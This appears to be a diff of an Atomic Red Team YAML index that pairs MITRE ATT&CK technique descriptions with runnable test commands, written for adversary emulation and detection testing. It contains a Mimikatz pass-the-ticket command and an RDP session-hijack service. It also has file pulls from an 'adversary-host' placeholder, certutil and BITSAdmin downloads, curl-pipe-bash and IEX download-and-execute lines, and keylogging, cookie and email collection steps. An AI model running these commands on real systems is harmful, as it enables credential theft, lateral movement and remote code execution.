a target system and Kerberos authentication + enabled. + x_mitre_detection: |- + Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. + + Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection) created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_contributors: + - Ryan Becwar + - Vincent Le Toux + created: '2017-05-31T21:31:11.623Z' kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619 - name: Automated Collection - created: '2017-05-31T21:31:27.985Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Once established within a system or network, an adversary may - use automated techniques for collecting internal data. Methods for performing - this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) - to search for and copy information fitting set criteria such as file type, - location, or name at specific time intervals. This functionality could also - be built into remote access tools. \n\nThis technique may incorporate use - of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) - and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify - and move files." - x_mitre_permissions_required: - - User - identifier: T1119 + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1097 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1097 + - source_name: capec + external_id: CAPEC-645 + url: https://capec.mitre.org/data/definitions/645.html + - source_name: ADSecurity AD Kerberos Attacks + description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory + Kerberos Attacks. Retrieved June 2, 2016. + url: https://adsecurity.org/?p=556 + - source_name: GentilKiwi Pass the Ticket + description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June + 2, 2016. + url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos + - source_name: Campbell 2014 + description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December + 4, 2014. + url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf + - source_name: CERT-EU Golden Ticket Protection + description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, + April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. + url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf + modified: '2019-07-18T16:59:03.741Z' + identifier: T1097 atomic_tests: - - name: Automated Collection Command Prompt - description: 'Automated Collection + - name: Mimikatz Kerberos Ticket Attack + description: 'Similar to PTH, but attacking Kerberos ' supported_platforms: - windows + input_arguments: + user_name: + description: username + type: string + default: Administrator + domain: + description: domain + type: string + default: atomic.local executor: name: command_prompt - command: | - dir c: /b /s .docx | findstr /e .docx - for /R c: %f in (*.docx) do copy %f c:\temp\ - - name: Automated Collection PowerShell - description: 'Automated Collection - -' - supported_platforms: - - windows - executor: - name: powershell - elevation_required: false - command: 'Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName - -destination c:\temp} + command: 'mimikatz # kerberos::ptt #{user_name}@#{domain} ' - T1115: + T1076: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1115 - source_name: mitre-attack - external_id: T1115 - - url: https://msdn.microsoft.com/en-us/library/ms649012 - source_name: MSDN Clipboard - description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016. - - url: http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/ - source_name: Operating with EmPyre - description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July - 12, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - Remote Desktop Users + - User x_mitre_data_sources: - - API monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Access to the clipboard is a legitimate function of many - applications on a Windows system. If an organization chooses to monitor for - this behavior, then the data will likely need to be correlated against other - suspicious or non-user-driven activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Authentication logs + - Netflow/Enclave netflow + - Process monitoring + name: Remote Desktop Protocol + description: |- + Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS. + + Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware) + + Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf) + id: attack-pattern--51dea151-0898-4a45-967c-3ebee0420484 x_mitre_platforms: - - Linux - Windows - - macOS - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f - name: Clipboard Data - created: '2017-05-31T21:31:25.967Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - RDP service enabled, account in the Remote Desktop Users group. type: attack-pattern - description: "Adversaries may collect data stored in the Windows clipboard from - users copying information within or between applications. \n\n### Windows\n\nApplications - can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) - \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab - clipboard contents (Citation: Operating with EmPyre)." - identifier: T1115 + x_mitre_detection: |- + Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + + Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Demaske, Adaptforward + created: '2017-05-31T21:30:59.769Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1076 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1076 + - source_name: capec + external_id: CAPEC-555 + url: https://capec.mitre.org/data/definitions/555.html + - source_name: TechNet Remote Desktop Services + description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, + 2016. + url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx + - source_name: Alperovitch Malware + description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions. + Retrieved November 4, 2014. + url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ + - source_name: RDP Hijacking Korznikov + description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking + Feature All Windows versions. Retrieved December 11, 2017. + url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html + - source_name: RDP Hijacking Medium + description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack + RDS and RemoteApp sessions transparently to move through an organisation. + Retrieved December 11, 2017. + url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 + - source_name: Kali Redsnarf + description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December + 11, 2017. + url: https://github.com/nccgroup/redsnarf + modified: '2019-07-18T17:46:11.999Z' + identifier: T1076 atomic_tests: - - name: Utilize Clipboard to store or execute commands from - description: 'Add data to clipboard to copy off or execute commands from. + - name: RDP + description: 'RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) + - how to hijack RDS and RemoteApp sessions transparently to move through an + organization ' supported_platforms: - windows executor: name: command_prompt - elevation_required: false + elevation_required: true command: | - dir | clip - clip < readme.txt - - name: PowerShell - description: 'Utilize PowerShell to echo a command to clipboard and execute - it + query user + sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-tcp#55" + net start sesshijack + sc.exe delete sesshijack + - name: RDPto-DomainController + description: 'Attempt an RDP session via "Connect-RDP" to a system. Default + RDPs to (%logonserver%) as the current user ' supported_platforms: - windows + input_arguments: + logonserver: + description: ComputerName argument default %logonserver% + type: String + default: $ENV:logonserver.TrimStart("\") + username: + description: Username argument default %USERDOMAIN%\%username% + type: String + default: "$Env:USERDOMAIN\\$ENV:USERNAME" executor: name: powershell elevation_required: false - command: | - echo Get-Process | clip - Get-Clipboard | iex - T1074: + prereq_command: 'if((Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain) + {0} else {1} + +' + command: 'Connect-RDP -ComputerName #{logonserver} -User #{username} + +' + T1105: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1074 - source_name: mitre-attack - external_id: T1074 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring + - Packet capture + - Process use of network + - Netflow/Enclave netflow + - Network protocol analysis - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files. + x_mitre_permissions_required: + - User + name: Remote File Copy + description: |- + Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. - Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076). + id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e - name: Data Staged - created: '2017-05-31T21:30:58.938Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022). + x_mitre_detection: |- + Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. - Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. - identifier: T1074 + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_network_requirements: true + created: '2017-05-31T21:31:16.408Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: command-and-control + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1105 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1105 + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + modified: '2019-07-18T17:47:57.120Z' + identifier: T1105 atomic_tests: - - name: Stage data from Discovery.bat - description: 'Utilize powershell to download discovery.bat and save to a local - file + - name: rsync remote file copy (push) + description: 'Utilize rsync to perform a remote file copy (push) ' supported_platforms: - - windows + - linux + - macos + input_arguments: + local_path: + description: Path of folder to copy + type: Path + default: "/tmp/adversary-rsync/" + username: + description: User account to authenticate on remote host + type: String + default: victim + remote_host: + description: Remote host to copy toward + type: String + default: victim-host + remote_path: + description: Remote path to receive rsync + type: Path + default: "/tmp/victim-files" executor: - name: powershell - elevation_required: false - command: 'IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat'') - > pi.log + name: bash + command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} ' - - name: Stage data from Discovery.sh - description: 'Utilize curl to download discovery.sh and execute a basic information - gathering shell script + - name: rsync remote file copy (pull) + description: 'Utilize rsync to perform a remote file copy (pull) ' supported_platforms: - linux - macos + input_arguments: + remote_path: + description: Path of folder to copy + type: Path + default: "/tmp/adversary-rsync/" + username: + description: User account to authenticate on remote host + type: String + default: adversary + remote_host: + description: Remote host to copy from + type: String + default: adversary-host + local_path: + description: Local path to receive rsync + type: Path + default: "/tmp/victim-files" executor: name: bash - command: curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.sh - | bash -s > /tmp/discovery.log - '': - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1125 - source_name: mitre-attack - external_id: T1125 - - url: https://objective-see.com/blog/blog_0x25.html - source_name: objective-see 2017 review - description: Patrick Wardle. (n.d.). Retrieved March 20, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Praetorian - x_mitre_data_sources: - - Process monitoring - - File monitoring - - API monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} - Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - - macOS - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf - name: Video Capture - created: '2017-05-31T21:31:37.917Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. +' + - name: scp remote file copy (push) + description: 'Utilize scp to perform a remote file copy (push) - Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. +' + supported_platforms: + - linux + - macos + input_arguments: + local_file: + description: Path of file to copy + type: Path + default: "/tmp/adversary-scp" + username: + description: User account to authenticate on remote host + type: String + default: victim + remote_host: + description: Remote host to copy toward + type: String + default: victim-host + remote_path: + description: Remote path to receive scp + type: Path + default: "/tmp/victim-files/" + executor: + name: bash + command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path} - In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) - x_mitre_permissions_required: - - User - atomic_tests: [] - T1005: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1005 - source_name: mitre-attack - external_id: T1005 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Privileges to access certain files and directories - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor processes and command-line arguments for actions - that could be taken to collect files from a system. Remote access tools with - built-in features may interact directly with the Windows API to gather data. - Data may also be acquired through Windows system management tools such as - [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) - and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5 - name: Data from Local System - created: '2017-05-31T21:30:20.537Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration. +' + - name: scp remote file copy (pull) + description: 'Utilize scp to perform a remote file copy (pull) + +' + supported_platforms: + - linux + - macos + input_arguments: + remote_file: + description: Path of file to copy + type: Path + default: "/tmp/adversary-scp" + username: + description: User account to authenticate on remote host + type: String + default: adversary + remote_host: + description: Remote host to copy from + type: String + default: adversary-host + local_path: + description: Local path to receive scp + type: Path + default: "/tmp/victim-files/" + executor: + name: bash + command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path} - Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. - identifier: T1005 - atomic_tests: - - name: Search macOS Safari Cookies - description: 'This test uses `grep` to search a macOS Safari binaryCookies file - for specified values. This was used by CookieMiner malware. +' + - name: sftp remote file copy (push) + description: 'Utilize sftp to perform a remote file copy (push) ' supported_platforms: + - linux - macos input_arguments: - search_string: - description: String to search Safari cookies to find. - type: string - default: coinbase + local_file: + description: Path of file to copy + type: Path + default: "/tmp/adversary-sftp" + username: + description: User account to authenticate on remote host + type: String + default: victim + remote_host: + description: Remote host to copy toward + type: String + default: victim-host + remote_path: + description: Remote path to receive sftp + type: Path + default: "/tmp/victim-files/" executor: - name: sh - elevation_required: false - command: | - cd ~/Library/Cookies - grep -q "#{search_string}" "Cookies.binarycookies" - T1114: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1114 - source_name: mitre-attack - external_id: T1114 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Authentication logs - - File monitoring - - Process monitoring - - Process use of network - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. - - File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. - - Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f - name: Email Collection - created: '2017-05-31T21:31:25.454Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may target user email to collect sensitive information from a target. + name: bash + command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}'' - Files containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost. +' + - name: sftp remote file copy (pull) + description: 'Utilize sftp to perform a remote file copy (pull) - Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. +' + supported_platforms: + - linux + - macos + input_arguments: + remote_file: + description: Path of file to copy + type: Path + default: "/tmp/adversary-sftp" + username: + description: User account to authenticate on remote host + type: String + default: adversary + remote_host: + description: Remote host to copy from + type: String + default: adversary-host + local_path: + description: Local path to receive sftp + type: Path + default: "/tmp/victim-files/" + executor: + name: bash + command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path} - Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access. - identifier: T1114 - atomic_tests: - - name: T1114 Email Collection with PowerShell - description: 'Search through local Outlook installation, extract mail, compress - the contents, and saves everything to a directory for later exfiltration. +' + - name: certutil download (urlcache) + description: 'Use certutil -urlcache argument to download a file from the web. + Note - /urlcache also works! ' supported_platforms: - windows + input_arguments: + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file + type: Path + default: Atomic-license.txt executor: name: command_prompt elevation_required: false - command: | - Display email contents in the terminal - PS C:\> .\Get-Inbox.ps1 - - Write emails out to a CSV - PS C:\> .\Get-Inbox.ps1 -file "mail.csv" - - Download and Execute - "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114/Get-Inbox.ps1')" - T1056: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1056 - source_name: mitre-attack - external_id: T1056 - - url: https://capec.mitre.org/data/definitions/569.html - source_name: capec - external_id: CAPEC-569 - - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf - source_name: Adventures of a Keystroke - description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth - look into keyloggers on Windows. Retrieved April 27, 2016.' - - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ - source_name: Volexity Virtual Private Keylogging - description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco - Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' - - url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ - source_name: Wrightson 2012 - description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS - AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - John Lambert, Microsoft Threat Intelligence Center - x_mitre_data_sources: - - Windows Registry - - Kernel drivers - - Process monitoring - - API monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. - - Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 - name: Input Capture - created: '2017-05-31T21:30:48.323Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. - - Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) + command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} - Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. +' + - name: certutil download (verifyctl) + description: 'Use certutil -verifyctl argument to download a file from the web. + Note - /verifyctl also works! - Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1056 - atomic_tests: - - name: Input Capture - description: | - Utilize PowerShell and external resource to capture keystrokes - [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056/Get-Keystrokes.ps1) - Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) +' supported_platforms: - windows input_arguments: - filepath: - description: Name of the local file, include path. + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file type: Path - default: c:\key.log + default: Atomic-license.txt executor: name: powershell - command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n" - T1113: + elevation_required: false + command: | + $datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)" + New-Item -Path $datePath -ItemType Directory + Set-Location $datePath + certutil -verifyctl -split -f #{remote_file} + Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} } + - name: Windows - BITSAdmin BITS Download + description: | + This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. + This technique is used by Qbot malware to download payloads. + supported_platforms: + - windows + input_arguments: + bits_job_name: + description: Name of the created BITS job + type: String + default: qcxjb7 + remote_file: + description: URL of file to copy + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt + local_path: + description: Local path to place file + type: Path + default: Atomic-license.txt + executor: + name: command_prompt + command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority + HIGH #{remote_file} #{local_path}' + T1077: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1113 - source_name: mitre-attack - external_id: T1113 - - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - source_name: Antiquated Mac Malware - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated - code. Retrieved July 5, 2017. + x_mitre_permissions_required: + - Administrator + x_mitre_data_sources: + - Process use of network + - Authentication logs + - Process monitoring + - Process command-line parameters + name: Windows Admin Shares + description: "Windows systems have hidden network shares that are accessible + only to administrators and provide the ability for remote file copy and other + administrative functions. Example network shares include C$, + ADMIN$, and IPC$. \n\nAdversaries may use this technique + in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) + to remotely access a networked system over server message block (SMB) (Citation: + Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), + (Citation: TechNet RPC) transfer files, and run transferred binaries through + remote Execution. Example execution techniques that rely on authenticated + sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), + [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows + Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries + can also use NTLM hashes to access administrator shares on systems with [Pass + the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration + and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) + utility can be used to connect to Windows admin shares on remote systems using + net use commands with valid credentials. (Citation: Technet Net + Use)" + id: attack-pattern--ffe742ed-9100-4686-9e00-c331da544787 + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - API monitoring - - Process monitoring - - File monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitoring for screen capture behavior will depend on the - method used to obtain data from the operating system and write output files. - Detection methods could include collecting information from unusual processes - using API calls used to obtain image data, and monitoring for image files - written to disk. The sensor data may need to be correlated with other events - to identify malicious activity, depending on the legitimacy of this behavior - within a given network environment. + x_mitre_version: '1.1' + x_mitre_system_requirements: + - |- + File and printer sharing over SMB enabled. + Host/network firewalls not blocking SMB ports between source and destination. + Use of domain account in administrator group on remote system or default system admin account. + type: attack-pattern + x_mitre_detection: 'Ensure that proper logging of accounts used to log into + systems is turned on and centrally collected. Windows logging is able to collect + success/failure for accounts that may be used to move laterally and can be + 